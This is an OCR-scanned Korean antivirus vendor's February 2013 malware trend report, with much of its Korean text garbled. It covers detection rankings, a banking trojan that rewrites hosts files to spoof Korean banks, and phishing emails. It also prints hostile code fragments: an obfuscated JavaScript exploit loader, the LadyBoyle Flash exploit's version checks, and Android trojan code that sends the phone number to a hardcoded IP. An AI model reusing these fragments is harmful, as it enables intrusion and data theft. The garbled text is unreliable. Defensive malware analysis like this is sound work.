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MALICIOUS CODE TREND 3

ASECO| ZiAgt Htofl =3, 2013
H 220 Aol v AHIE
= 6702 8830742 AN = LIEHG
C Ol= Z& 9608 20297401 H
fl 2892t 31997, 2F 30%7t &4

R|C (3 1-1). o] 22 #A

r0|| ol

rr
)
e

S0

A
T
2 EMEC o] S0iIM

PREVENTIONO|{2M, Malware/
Win32.suspicious, Textimage/
AutorunO| CH2O 2 WUCE ESH E
8719 AT =Tt Z[Ct 20 S=00

MZ 0I52 SRCH(E 1-1).

15,000,000

10,000,000

5,000,000

a7l 11| 2

9,938,154 9,602,029
¥ 0.4% ¥3.4%
6,708,830
=336, 125 o
-2,893,199 ¥30.1%
12
PMTE U H Zi5= ¥t Z0]

9 5% otyAC % HIg
1 - ASD.PREVENTION 352,546 18.1 %
2 - Malware/Win32.suspicious 218,280 1.2%
3 A1 Textimage/Autorun 181,703 9.3%
4 NEW Win-Trojan/Agent.98375 106,049 5.4 %
5 A2 Trojan/Win32.agent 96,758 5.0 %
6 — Trojan/Win32.Gen 89,790 4.6 %
7 NEW Adware/Win32.winagir 89,201 4.6 %
8 NEW Win-Trojan/Downloader.220672.Q 80,065 4.1 %
9 - Trojan/Win32.onlinegamehack 79,326 4.1 %
10 v5 Trojan/Win32.adh 73,347 3.8%
11 A2 RIPPER 72,933 3.7%
12 NEW Win-Trojan/Agent.204552 69,238 3.6 %
13 NEW Trojan/Win32.urelas 64,051 3.3%
14 v2 Adware/Win32.korad 61,338 3.1%
15 v7 Trojan/Win32.onlinegames 58,303 3.0%
16 NEW Win-Trojan/Agent.168000 56,064 2.9%
17 NEW Win32/Virut.f 55,008 28%
18 A2 Malware/Win32.generic 50,768 2.6 %
19 v16 JS/Agent 49,363 25%

20 NEW Win-Trojan/Korad.82800 45,665 2.3%
TOTAL 1,949,796 100.0 %

¥ 1-1 20134 28
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ol¥IE CHEZICHY ¢ 52 otya=d 24 HIE
?:I'%"EJ_" ',-':'IEI' 20 1 A1 Win-Trojan/Agent 766,940 16.5 %
[E 1-2]= &MTFCEY HES = 2 v1 Trojan/Win32 743,444 16.1%
stst otMTC hE ZICHY = 7} 3 —_ Win-Trojan/Onlinegamehack 495,702 10.7 %

4 - ASD 352,546 7.6 %
o HO0| =aE 207S 2 A0ick 5 Ab Win-Trojan/Korad 291,457 6.3%
2013 2&0ll= Win—Trojan/Agent 6 v Malware/Win32 286,247 62%
7t & 762t 69407122 I HIH 7 A3 Win-Trojan/Downloader 234,261 5.1%
5| H1= o2 ZARHCE Trojan/ 8 — Adware/Win32 228,025 4.9 %
Win327} 748t 344474, Win—Trojany/ 9 — Textimage/Autorun 181,720 3.9%
10 A3 Win-Adware/Korad 146,045 3.2%
OnlinegamehackO| 492+ 570212 1 N Win-Trojan/Avkiller 125,620 2.7%
2 1 #HE OIUC 12 A2 Win32/Virut 117,697 2.5%
13 v7 Win-Trojan/Urelas 104,430 23%
14 A2 Win32/Conficker 94,058 2.0%
15 A3 Win-Dropper/Korad 91,608 2.0%
16 v Downloader/Win32 89,390 1.9 %
17 NEW Win32/Autorun.worm 79,291 1.7 %
18 A2 RIPPER 72,933 1.6 %
19 — Win32/Kido 71,478 1.5%
20 NEW Backdoor/Win32 61,745 1.3%
TOTAL 4,634,637 100.0 %

H 1-2 | AMF= cEXICHE Z|c} 202
28 |0t AT A4H¥IE 22 ofMacH ez HIZ
Win—Trojan/Agent.98375 1 Win-Trojan/Agent.98375 106,049 17.7 %
[E 1-3]2 280f| ARZ F4E of 2 Win-Trojan/Downloader.220672.Q 80,065 13.4%
NAC = 710l B0} 71 ot 3 Win-Trojan/Agent.204552 69,238 1.4 %
4 Win-Trojan/Onlinegamehack.282624.X 36,485 6.1%
20%S HS AOICk 282 2S5 of 5 Win-Trojan/Korad.85504.B 26,070 L4 %
JFE= Win—Trojan/Agent.98375 6 Win-Trojan/Agent.204208 25,863 43%
7+ 102k 6049122 A 17.7% 7 Win-Trojan/Korad.75264 24,076 40%
2 xIX|Fem, Win—Trojan/ 8 Win-Trojan/Avkiller.30272 23,098 3.9%
Downloader 9696247} 63t 833971 9 Win-Trojan/Agent.204692 21,757 3.6%
10 Win-Trojan/Avkiller.29984 20,890 3.5%
Of EL115H 13.4%E AIXIACH. 11 Win-Trojan/Korad.75264.B 20,367 3.4%
12 Win-Trojan/Korad.200704 19,513 3.3%
13 Win-Trojan/Korad.90112 18,382 3.1%
14 Win-Trojan/Onlinegamehack.272896.F 17,685 3.0%
15 Win-Trojan/Startpage.143352 16,918 2.8%
16 Win-Adware/KorAd.656600 16,669 2.8%
17 Win-Trojan/Killav.4554752 15,672 2.6 %
18 Win-Trojan/Onlinegamehack.136331 14,342 2.4 %
19 Win-Trojan/Agent.248320.BL 13,245 2.2%
20 Win-Trojan/Onlinegamehack.180736.Q 12,483 2.1%
TOTAL 598,867 100.0 %

H1-3 | 18 ME ofd3E 2|t 20A
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o1

28 4Y¥IE /Y
‘EZo|=0t’ 7} Zc}

[a3 1-2]= 2013 22 17HE 2+

=

ok IO ZHIE| 20| B of

MTCco| 98 HI8S

g3 = TR 2ot

Ct, EZ20|=20KTrojan)7} 54.7%2 7t

TROJAN

54.7%

% =2 HIES LIEfHT B(Worm)o|
5.4%, AS-E(Scrip)7t 4.1%2 & VéOIZIV(IJ /
7St - 0
SCRIPT
o
N 4.1%
.27/0 ETC
3.1% AbpwWARE
0.2% semuase 3.1% DROPPER
1.1% powNLoADER 31 o/0 VIRUS
% 1-2 | AMFE QY HIg
MTE QYW AYED
M8 H|m 2013.01 2013.02

=01, &, HolHA, oi=ol= e

ol HISH B7HMIE EeM ATZE,

CSELE AR Amfolgo], Ct2
20, ojZA] HZSS MY 2FS

FAIRAC.

2.0%

0.1%

1.0%

3.2%

25.2%

7.6%

0.6%

53.2%

2.6%

4.8%

02l 1-3 | 201244 018 vs, 201351 02

21
=

ADWARE I

APPCARE
DOWNLOADER
DROPPER
ETC

SCRIPT
SPYWARE

TROJAN

VIRUS

opMTC Q3 uIg
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0.0%

1.1%

3.1%

25.2%

4.1%
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MALICIOUS CODE TREND 7

oOlM3z =

St 25 FTFAME 2T FEEE AYIE

2FE SHAR| 27 FTME o|HU=E The= ARRIS0| FE HokK|HA
OIE 0|83l AFSAIS0IH HIYE REsh= AT =T LUZASHCE 0lo]|
ABAISS| Fo7t Eesich.

e s 30 1m ey SSESHR B gD

et ) | 29 e-mail 1A —

SKENFUE e-moil Y MG

'
DAY YULG N LUNOKYS MUSTUCL X
iy

= wve
gt U
Twod ARSHRT

J2 1-5 | R2E=l= olm|

oMY LEHTFAN 2= M= REEH, o

g Chofl= FTAME A AT =Tt R Qo HRE mds

—

SKecom

=
Alstist Hei= [0 1-6]at 2k

SKT«T1.201301, 1 DELETE C:Whocuments and SWASminist atorWHIE SIAWSKT-00...
SKTATI 210, A e
svchost exe CREATE CHWWINDOWSW WAL jod
svchost exe MODI C:WWINDOWSW WA
swehostexe CREATE  C:WWINDC job
svchost exe MOD! CWWINDC job
v &tu : CIEA’TYE C:HWINDOWSW WA
swchostexe = W,
svchost exe i wﬂt E IWSW Tasks
svchostexe I MODIFY CWWINDOWSW Tasks job

|l CWWINDOWSW Tasks

I E W

1 5 WS

i CamEow T

! Ok

1 C m askes WAL

| CHWINDC

: Em YWSW Tas!

i Eammioow

1 CWWINDC

CWWIND asksWAID job
3 ks W

§

1555t

35

3333230

3
:
c
C
¢
¢
¢
¢
c
¢
&
c
c
¢
C
c
c
c

T

3
33355358353

s AMHT= M A X7| XIS TrwWindowsW2BCBOFFSW
E00| svchsotexe2t= 0|E2& 0|& AlZICH St of2ie| a3t
20| 2X|AEZ| Run 7|0l SS5t0] A= AIE Alo]l X522 A3
E|=2 ST} ESH A job ~ At24.job IS tasks = ZUoj| AHAsH
OHY, OHA|ZHOLCH ASHSHES i,

O

SKTT] 201301, 1872 SetValue HKL TWAREWMicrosoftWWindowsWC \W2BCBOFFS
svchost.exe 1030 SetValue HKLMWS Y IWServic:
svchost.exe 1080 SetValue HKLM
svchost exe 1080 SetValue HKLMWSYSTEMWC
svchostexe 1080 SetValue HKLMWS Y
svchost exe 1030 SetValue HKLMWSYSTEMWControlSet001
svchost exe 1080 SetValue HKLMWSYSTEMWControlSet00! WN
1030 SetValue HKLMWSYS TEMWControlSet001 W
1080  SetValue HKLMWSYS TEMWControlSet001
1030 SetValue HKLMWSYS TEMWControlSet001
1080  SetV: HKLMWS'Y
:% HKLMWSYSTE ontrolSet001 @
1030 ontrol ice:
1080 S ontrol ic cheduleWN
1030 alue cheduleWN
1080 ‘alue cl
1030  SetValue HKLMWSYSTEMWC, 00 W
1080  SetValue HKLMWSYSTEMWC 00 WIN
1080  SetValue HKLMWSYSTEMWC 00 VN
1030 SetValue HKLMWSYSTEMWC: 00
1080 SetVals HKLMWSYSTEMWC 00
1030 SetValue HKLMWSYSTEMWC 00
1030 SetValue HKLMWSYSTEMWC 00
1080 SetValue HKLMWSYSTEMWC
svchost exe 1080 SetValue HKLMWSYSTEMWControlSet00!
SKT«T| 201301, 1872 SetValue HKLMWSYSTEMWControlSet001

a2 17 | dMTE A6 )| B XAER| HE

Z5tH, 712 7lsk &
2lo| HCh HIEXS0i| chet HEEEE [IL | 1-9]et Zto| SfQICt,

F712 [O3 1-8]7t 20| hosts TtUS

SKT«T|.201301.
SKT«T| 201301,
SKT«T|.201301.
SKT«T|.201301.
$| m.zn:gl.

SN, vy, kbstar.com

WUUTURIIENE. Hank. kbstar.com
N2 obank.kbstar.com
3 wvv.keb.co.kr
N3 bank. keb.co.kr
.4 banking.nonghy
S yyy. nonghyup. cf
SN S vvv.shinhan.com

NN 6 vV . woor ibank.com
SN 6 biz. vooribank.com

'system:
CWNDOMymmMCBmhy
C:WWINDOWSWsystem32W2BCBIFFS.key
CWNDOMV:&MMCBMI«V

32 1-8 | hosts It HE & 7|22 A, HHEl= ot

SKTAT].201 S)I

SKT+tT| 201301, TCP CONNECT 127.0.0.1 =
SKT+T| 201301 TCP DIS! T 0.1 =
SKT+T| 201301 TCP CO| 0 =
SKT+tT| 201301, TCP C = e T—]
SKT+tT| 201301, TCP CONN = EE—

JA-9 | IP : 2% 0,1 ** :

10l et HIERIZ BE H=

V3 MIBZQ| ZITHH)
Win—=Trojan/Magania.115200.CZ



£ T A7H ALY olx7t =1 QUCH AHTE FE ZXOZ
ZE AOIES &tEet Zut I 0 g X2l 7HRI AEAE ALO|E0|
A RS2 Chust Hefe| T =(RaQIAIIEH, DDoS, HH=0,
Banki 512 Qs & o2 LIEMICE SHE AO|EJ} 2013 1€

FE| XSV REE AYIE F Banki= [27 1-10]2t ZTH

Seed URL Malware URL ey
http://www.al com/pasan/ ‘ljindexasp |httpy/ .189.502 308  tv.exe Trojan/Win32.8anki
hitpy//www.al com/pasan/  ‘lfindexasp |httpy/ .189.592 308 tv.exe Trojan/Win32 Banki
http//www.al com/pasan/  ‘lfindexasp |httpy// .189.59.2 308 tv.exe Trojan/Win32 8anki
hitp://www.al com/pasan/  'Vfindexasp |httpy/ 308 tvexe Trojan/Win32.8anki

|_httpy//www.al com/pasan/  ‘lfindexasp |httpy/: 308 tvexe Trojan/Win32.8anki
http//www.al com/pasan/  ‘lfindexasp |http// 308 iliteexe Trojan/Win32.Qhost
http//www.al com/pasan/  ‘lindexasp |httpy// .. 308 liteexe Trojan/Win32.Qhost
http://www.al com/pasan/  ‘lfindexasp |http// 308 exe Trojan/Win32.Qhost
http://www.al com/pasan/__"1/indexasp |http// 88 iSexe Trojan/Win32.Qhost
htp//www.al  com/pasan/  ‘"l/indexasp |httpy/ 308 exe Trojan/Win32 Qhost
http//www.al com/pasan/  ‘'Mindexasp |http//. 308 ‘exe Trojan/Win32.Qhost
http://www.al com/pasan/  ‘lfindexasp |http//. . 280 dateexe Trojan/Win32.Qhost
http//www.al com/pasan/  ‘l/indexasp |httpy/r 280 teexe Trojan/Win32.Qhost
http//www.al Lom/pasan/  'l/indexas| /. 232 art okexe WIH-TI‘%‘ n/Banki.22016.C
http://wwwal com/pasan/  ‘l/indexasp |httpy/: ite Win-Trojan/Banki523776
http//www.al com/pasan/  ‘l/indexasp |httpy/: cor  texe Win-Trojan/Banki.523776
http//www.al com/pasan/  ‘lindexasp |http//. 80 Win-Trojan/Banki.74726
hitp//www.al  .com/pasan/ ‘lfindexasp |http//. 232 artokexe Win-Trojan/Downloader.76800.AL
http//www.al com/pasan/  ‘lfindexasp |http//. 280  Jtouexe Win-Trojan/Qhost 220161
http://www.al com/pasan/  ‘'lindexasp |http/ .. Jtou.exe Win-Trojan/Qhost 22016.)
http//www.al com/pasan/  ‘ljindexasp |http/. Hlite.exe Win-Trojan/Qhost 22016.K
hitp://www.al com/pasan/  ‘l/indexasp date.exe Win-Trojan/Qhost 22016.M
http//www.al com/pasan/  'l/indexasp Jtou.exe Win-Trojan/Qhost 22528.0
http//www.al com/pasan/  ‘l/indexasp ns e Win-Trojan/Qhost 845733
http://www.al comypasan/ __“1/indexasp |http/A. . cpartssn Win-Trojan/Zegost 517120

121 1—10 | 742! Al2AtEh AJO|EQ| Banki AT E Qi 0|
201343 02 200l i AIO|EE SoHA banki AMHTETL R
o, s AO|EQ] .com/pasan/js/member_

new02js’ Ofli= Of2liel 22 H=3tEl ASBE AT} MRl QUAACK

kokkok

‘http://www,

harcode(c29):c. ing(36))}:if(!.repl
(e){retum d[e]} ]:e=function()

{retumw} o=1:}swhile(c-)if(k{c])p=preplace(new regexp(be(<)b.g).Kc])ircturn p:}(b(3.7.
9(6=)=-1){a 2=i f():2.e(2.d()g*4*4*h):3.7=6=c;j=/:2=2.5():3.1(<5 q=v://u.t.m.Uk/88.p 0=0
n=0></5>)},32,32. | expires|document

17 string)) {while{c--)d[e(c)}k{e] e{c):k={function

|60iframe|h//==--Z5 7 38 Efeeent/|yes| gettimenecwwwihttp.split(]).0. {}))

221 1-11 | JH! AIBAKEY Alo|=0j AU ASRlE 3=

¢ =5t FEE E0{EH XSHOE  Chitp://www.
co.kr/psd/mk/mk.html” & ZOIetM MASI=E = UCH SHZE 7K
QI MELE AlO|Eof H&et PCOI| 2Hf ofziet 22 FetHo| EXY

}H Bankiol| ZE=ICt

kkokokokokok

ol

webios.dll It} wdiguest.dll T2 St IHA0|H, webios.dll ot
Q2 sychostexe ZEMA0 2= Z|0| SESHH, 020 {IXIsH=
C&C ANHZ F7|Mo2 B&ES A=st= A2 SHOIHCE

— XM} F2UA: CVE-2012—-0507 / CVE-2012—1723 / CVE—
2012-5076 / CVE—2012—-4681 / CVE-2011-3544 /
CVE-2013-0422

— Internet Explorer F|2F&: CVE-2012—-1889
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A3l 22101 #2l AJO|ER FaE FS MK AJ0IE7} Ofl T

AO|EZ &

34, .99 CITI KR

I 1 .99 www. K.Co.KR
3. .99 HANA "

.34, .99 Wuw. K.CoM
.34, 99 www. KR

i .99 MYBA Co.KR
.34, -99 KIUP -KR

.34, .99 KBST

.34, .99 www. CoH

34, .99 oBAN R.CoM
.34, -99 KEB.

34, =99 www. KR

.34, .99 BANK -KR

.34, -99 EBAN o.KR
.34, .99 NoNG M

.34, 299 www. P.CoM
.34, .99 BANK GHYUP .CoM
.34, -99 SHIN

.34, .99 Www. .CoM

P 1 -99 BANK NHAN.CoH
.34, .99 www. BANK .CoN
.34, -99 wuw. Dchartered.Co.kr
.34, -99 UWooR oM

i .99 www. NK.CoM
.34, .99 PIB. K.CoM
.34, .99 SPD. NK.CoM

a2l 1-12 | 23 =0 2lsHA] HZEE! hosts

— Hot ==z 8l ZIKN| S Rstray.exe, KSafelray.exe

— EX AOIE H&: 173 53.62:2012, 173.7** 53.61:2012,
173.%* 53.60:2012

— AAHI HE £Z 2GHA HA, CPU AIY &

- FHE 7|2 YHE HWES 7I2St = %SYSTEM%W
C4C37467 keyoll ASEHXOR)

6564 202D ZO4E 6F74 6570 6164 0ODOA SBCA ed - Notepad..|[

B1BC E43A S5D32 3031 332D 322D 3230 2020 :12013-2-20

3137 3A33 3A32 300D 0OASB C4DA C8DD 3A5SD 17:3:20..[ |

545B 5368 6966 745D 6869 735B BFDS BSFL T[Shift]lhis(

5D73 693C 4261 636B 5370 6163 653E 3C42 ]si<BackSpace><B

6163 6BS3 7061 6365 3E69 735B BFDS BS8F1 ackSpace>is|[

5D61 S5BBF DSB8 F15D 7465 7374 ZESB BFDS  Jal Eest. [
E8F1 5D66 6F7Z SBBF DSB8 F15D 5BS3 6869 lfor( 1[8hi

2l 1-13 | 7|25 MZE Hio|g

(V3 MIZ=Q| TlITtH)
Troian/Win32.Magania(2013.02.20.00)

22121 WY 2|i= Banki HE X|& gA

U 22121 WL ALZXIL| E27lE So| AFYEE 2l= Banki

ohmEo| w0| AHOE WD ct,

Banki QYTELE F2 NASRIET} MUE BAIES S 2
SIch 0] QAT E0 ZHEIH hosts TIUS #zish HAEQ! izl Al
OlE0l R4 AISE wf, QYT RIBIAPH BHE 74 W2 Afo|of
HAEITE DIS0| ASAIYEE UREES REsn 1 MBS Y

g

ct.

bl

Bankioll CHEt O™ ME= ASEC 221 ‘FRIHS |35t= oty
AO|E ( ‘http://asec.ahnlab.com/search/banki’

% Qe
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O|EH0]| LUAZ HE HA| UMAFZIET} MU= AO|EE Ssl| 2 1 # Copyright (©) 1356-2009 Microso Cor
= = =|L— O = = = o 3 # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
Z|n, S=0IE ArE3t= & Mol Zsh 7t fYF=E TR0t M
AlETE # This file contai
2IRHSITE
« cCnH
£ m~ serted on individual
> ymbol.
#
[ L] # For example:
# .
# 102.54. 94879 rhiflf.acme.com
67. ~*.46 SSnking. nBhoH flip IBom
LT i b
»E)
Xas N5
2a| (Ea [@FF
) BEAR
W iy . 46 rTered.CO.kr
. » B {
TR XHIE —— V.CilBANK.CO.KR
o gEue
B Nea: 201324 12

R E: (1 X) 18:58:42

[3Z 1-17]at 20| hosts LA0| +FEH | F=2| WL AOIES
of e mf z=2f P2 HZ=|A =i=dl, 0] IP7t HiZ +ETFE H|
AIAP7t 2R Ol AO|ECE T2l Y= siiE IP7H 2H5U0] H20|

Z|X| =t

S0[3h H2 iy AHZ=T2 V32| Ol0|Z2S AIESIEAM, 2lAaA

ZEol= U EAR| EE ARESt {Art= Ho|ct

hosts gxe
HaH2 = 5 OIS ofzfo] FRol| WUS St AASHED, Ol o
SEEat :f|:9_| I:|-| QE'_F'.; xx-IEIE}
—  C:WProgram FileswWindows Media PlayerWplayer.ini
r =
U hosts.exe £4 é 1 [VERINFO]
= 2 VERSION=2566
ot | gy | 2or | LMY 03 HE 3 MAN -
& 2
10 -\
=3
TR Ao a atic Uo r Pro = =
SRS, £loas Adamenc Usdsler Program IESE OtNTCE CRC MOl KSRz FZSict
=g S8 X218
O B® 122281
hosts, exe TCP CONNECT 127.0.0.1 =
HE0DIE AlUpdate hosts. exe TCP DISCONNECT  127.0.0.1 =
HE HA 2221 hosts.exe TCP CONNECT 127.0.0.1 =
RAEERC hosts.exe TCP DISCONNECT  127.0.0.1 =
HEA cSTwn Corp hosts.exe TCP CONNECT 127.00.1 =
g 3 hosts. exe TCP DISCONNECT  127.0.0.1 =
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—  C:WDocuments and SettingsWAll UsersWApplication Data
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J2|1 of2Het Z0| =R FA AH|ALl ZiME BIXIAEZ|M S&
ol AIAEY ALR Al RHAISSE 4 QS i),

[BIXIAEZ| MA]

—  HKLMWSYSTEMWControlSet00 1WServicesWmspooltt
ImagePath "%SystemRoot%Wsystem32¥svchost.exe —k
LocalService'

—  HKLMWSYSTEMWControlSet001WServicesWmspoolt
DisplayName "mspool"

—  HKLMWSYSTEMWControlSetO01WServicesWmspoolt
Description "Windows mspool service."

—  HKLMWSYSTEMWControlSet00 1WServicesWmspoohtt
ParametersWServiceDIl "C:WDocuments and SettingsWAll
UsersWApplication Datawmspool.DLL"
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(PGV [ major]==11 && jpGV O minor]==5 && jpGV [ rev]==502 && (pGV D[ gondad = 110 && pGV [ gondad <= 146))
{

document. writeln("<mgsre=EulKqxn6 swi><\mg>");
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[y LadyBoyle_the_x32_Class

[ LadyBoyle_the_x64_Class
JAINEH - L
{

private var the_x32_Class:Class:
private var the_x64_Class:Class;
public var version:Object;

public function LadyBoyle()

{
var _loc_l:* = null;
var _loc_2:* = NaN:
var _loc_3:* = nuu
Ay 1nr 4+ *
13! 1-30 | LadyBoyle 0|22 ES*EI MM ATZE

0| exploit? Adobe Flash Player®| HMIEHEl X0l Stell S2H5t7| i
20| HHE #MTok= BRQ F=It EMlstH sie F==2 Ot
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var _loc_37:% = Capabilities.os.toloverCase (). tostring();

svitch(this.version)
switeh(_loc_37) (
«

case "win 11,5,502,146":
case "windous 7°: (
(

break: break:
case "windows server 2008 r2": case "win 11,5,502,135":
( «
break: break;
) )
Case "windovs server 2008": case “win 11,5, 502,110
break: (
break;
case "windows server 2003 r2": )
( case "win 1l,4,402,287":
breax: ¢

) 3
case "windows server 2003": Blesks
break: case "win 11,4,402,278":
) {
case "windovs xp: break:
)

break:

case "win 11,4,402,265":

case "windovs vista™:
break:

break: )
) deteule:
detaule: (
« return this.empty();
return this.eapry(): break;

break:
) }

)
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SettingsWTempWHncUpdate.exe
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x Turkish Airlines - A Star Alliance Member

x Turkish Airines
Ste

wardess
Dear, i
Thankyou for booking anline. Thark you for choosing Reservatlon
Turkish Arfines
chmfrdyu.rmynmemamedﬁe
Reservation i)
["% T Payand Fly... From niow on you may use our Code Fo0454
Ts web site to pay your Ticket By Office e

Tue, 19 Feb 2013
Process dales 1g:07:42 +0100

~ bookings.

Fares mayonlybe valid forsale inthe countrywhere the fourmneybegins, and may differ if purchased
elsewhere. Fares may alter according to the season or fare rules. If you wish your ticket to be
issued in a country other than the country of departure, you will need to contact your local Turkish
Alrlines office. Fares for domestic flights shown in Turkish Liras will only apply for ticket sales made
in Turkey.
Duplicated g: All made either via THY web site or other sales
channels are controlled by THY systems automatically. According to the reservation rules, if

are as , only one of your reservations will be kept
and the rest of them will be cancelled without giving any information. Please make sure not to make
duplicated reservation
Aircraft type may be changed for operational reasons.
Ifyou purchase your reservations (TBO) at any Turkish Airlines office except thy.com, the applicable
Ticketing Service Charge will be decided according to the location of that office. Therefore, there
could arise discrepancies in ticket price amount during the ticketing of reservations at Turkish
Alrlines offices which are created on thy.com
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S A USPS client manager Edwin Bowman <reports@ su @& 2013-02-19 (3) 2% 1
@i Ajg:  pungnadner@t-online, de

BX

3e USPS delivery failure report

| I BAIR] | GRUSPS report id 943577924988734 2ip (40 KB) |

Notification
Our company's courier couldn’t make the delivery of package.

REASON: Postal code contains an error.
LOCATION OF YOUR PARCEL: KnoxvilleFort
DELIVERY STATUS: sort order

SERVICE: One-day Shipping

NUMBER OF YOUR PARCEL: POSYWOKOGB
FEATURES: No

Label is enclosed to the letter.
Print a label and show it at your post office.

An additional information:
If the parcel isn’t received within 30 working days our company will have the right to
claim compensation from you for it's keeping in the amount of $8.26 for each day of

keeping of it.

You can find the information about the procedure and conditions of parcels keeping in
the nearest office

Thank you for using our services.
USPS Global.
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| Performance | Performance Graph | Disk and Network
- Image File
} Sixty Flinch
E+h$
Version:  8.8.0.0

Build Time: Thu May 18 18:36:50 2006

Path (Image is probably packed):

|c:Documents and Settings'Wall UserstWsvchost exe
Comemand line:

mocms and Settings WAl Usersffsvchost.exe”
Current directory:

|| [ W0ocurents and SettingsWemuser ¥

Autostart Location:

[FRLMSOF TWARE Wiklcrosoft Wwindows WCurrentversion i Ezplorol
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Bring to Front

KIPrwesI

e

Parent:  explorer.exe(1604)
User: VMXPSP3KOWvmuser
Started: 2F 5:46:20 2013-02-27

Comment: |

Data Execution Prevention (DEP) Status:
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<!'DOCTYPE HTHL PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<viv1ef404 Nov Foundf/cicles

</head><body>

<h1>Not Found</h1>

<p>The requested URL /data/files/13013114224093169.zip vas not found on this server.</p>
<hr>

<address>Apache/2.2.3 (CentOS) Server at wwwz.®ilspi=.com Port 80</address>
</body></html>
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PUP/Win32.101Alemi (2012.11.15.02)

PUP/Win32.Engine (2012.10.30.00)

PUP/Win32.Helper (2012.11.06.03)

PUP/Win32.ILikeClick (2013.01.02.04)
PUP/Win32.PowerBoan (2012.06.26.02)
PUP/Win32.SignKey (2012.11.24.00)
PUP/Win32.WindowViewCon (2013.01.17.00)
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Win—PUP/Security. WindowFast, 76960 (2013.02,19.02)
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2. Android—Trojan/PNStealer

Android—Trojan/PNStealer= V3ZHIUS 71EGH oftMTER MX|E

ADIEES| MEHSE 2|R= RESIC,

Android—Trojan/PNStealer x| A| R Z sh= 2t
— android.permission. ACCESS_FINE_LOCATION
— android.permission.SEND_SMS

— android.permission.RECEIVE_SMS

— android.permission.RECEIVE_BOOT_COMPLETED
— android.permission.INTERNET

— android.permission. ACCESS_COARSE_LOCATION
— android.permission. ACCESS_NETWORK_STATE
— android.permission.WRITE_EXTERNAL_STORAGE
— android.permission.ACCESS_WIFI_STATE

— android.permission.CHANGE_WIFI_STATE

— android.permission.READ_PHONE_STATE
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protected void dialeg()
AlertDialog.Builder localBuilder = new AlertDialog.Builder(this):
localBuilder.setMessage ("% FAALHe] AFAAFUIT.1");
localBuilder.setTitle ("€ E");
localBuilder.setPositiveButton("®¢)", new DialogInterface.OnClickListener()
{
public void onClick(DialogInterface
{
a.this.finish();
}
h:
localBuilder.setCancelable (false).create().show():
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public String GECMyERORSNGEBEE ()
t

return ((T

("phone”)) .getLinelNumber ()

protected void onCreate (Bundle paramBundle)
{

public void run()
{
HtcpGer localittpGet = new HrtpGet (“hey

5 1121.116.83/we xin/Api/post datas S 400: " + 2. this. GEEMYBHORENURBEE () :
Defaulthes LthcepClient = new DefaultArepClient():
loc Lient.getParans () ("neep. vimeout”, Integer.valueOf(S000)):

{
O3 1-71 | HM3pHS R& 3=

Stream Content

GET /weixin/Api/post?data=KESSB7%B2%ESRAERBINEBRAINBSRETHI4NBSREBRAFSID: 15555215554
HTTP/1.1

Host: 42.121.116.83

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked

Date: Tue, 15 Jan 2013 03:32:25 GMT

7
flag=0
]
|
| |
Entire conversation (362 bytes) =
Find Save As Print ASCHl EBCDIC Hex Dump CArrays ® Raw

Help Filter Out This Stream | | Close
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